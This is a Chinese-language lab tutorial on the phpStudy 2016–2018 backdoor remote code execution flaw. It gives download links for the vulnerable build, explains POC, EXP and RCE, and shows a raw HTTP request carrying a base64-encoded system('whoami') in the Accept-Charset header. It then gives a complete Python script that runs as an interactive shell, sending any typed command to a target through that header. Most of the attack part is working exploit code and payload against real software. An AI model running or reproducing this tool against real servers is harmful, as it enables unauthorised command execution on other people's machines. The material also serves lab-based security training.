phpstudy环境安装
基础环境
组件 | 版本 |
---|---|
OS | Windows 10 x64 \ Windows 7 x64 |
Web Server | phpStudy 2016(特别版) |
注意:2017版本没有漏洞
百度网盘
链接:https://pan.baidu.com/s/1j2cuidrmK2Gdgt3hFCI8Kw
提取码:Gas1
漏洞扫描
win10 可以访问server2016
将抓到的报文重放
漏洞触发验证
触发条件
Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=
Accept-Encoding: gzip,deflate
phpstudy_2016-2018_rce之EXP编写
python环境安装
基础环境
组件 | 版本 |
---|---|
python | python-3.11.4-amd64 |
编辑器 | VSCodeUserSetup-x64-1.80.0 |
注意:2017版本没有漏洞
百度网盘
链接:https://pan.baidu.com/s/1ZoqooKXG_b1ObwNCdOB-8g
提取码:ymjd安装路径:
名词 | 解释 |
---|---|
POC (Proof of Concept) | 漏洞验证代码,验证漏洞的存在性。 |
EXP (Exploit) | 渗透、攻击; 完整的漏洞利用工具 |
RCE (Remote Code|Command Execute) | * 漏洞的类型 * 在远程目标上执行代码或命令 |
手工验证漏洞的问题:
-
效率
-
准确性
针对RCE 漏洞开发EXP,常见的RCE 漏洞:
-
phpstudy_2016-2018_rce
-
seacms_6.26-6.28_rce
-
sangfor_edr_3.2.19_rce
-
...
# phpstudy_2016-2018_rce.py
'''
GET /phpinfo.php HTTP/1.1
Host: 192.168.232.202
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: close
Referer: http://192.168.232.202/
Upgrade-Insecure-Requests: 1
'''
import requests
import base64
import sys
banner='''
-----------------------------
____ _ _ ____ ___ ____ __ __ ____ _ _ ___ ___ __ _
( _ \( )_( )( _ \/ __)(_ _)( )( )( _ \( \/ ) (__ \ / _ \/ ) / ) ___
)___/ ) _ ( )___/\__ \ )( )(__)( )(_) )\ / ___ / _/( (_) ))( / _ \(___)
(__) (_) (_)(__) (___/ (__) (______)(____/ (__)(___)(____)\___/(__)\___/
___ ___ __ ___ ____ ___ ____
(__ \ / _ \/ )( _ ) ( _ \ / __)( ___)
/ _/( (_) ))( / _ \ ___ ) /( (__ )__)
(____)\___/(__)\___/(___)(_)\_) \___)(____)
Auther : yangmaojuan
Usage : python *.py http://192.168.232.211/phpinfo.php
-----------------------------
'''
if len(sys.argv)<2:
print(banner)
exit()
url=sys.argv[1]
def attack(cmd):
cmd= f"system('{cmd}');"
cmd=base64.b64encode(cmd.encode())
headers={
"User-Agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept-Charset" : cmd,
"Accept-Encoding" : "gzip,deflate"
}
res=requests.get(url=url,headers=headers)
result=res.content.decode("gb2312")
result=res.text[0:result.find("<!DOCTYPE html")]
return result
while True:
cmd=input("-->")
result=attack(cmd)
print(result)
if cmd=='q!':
break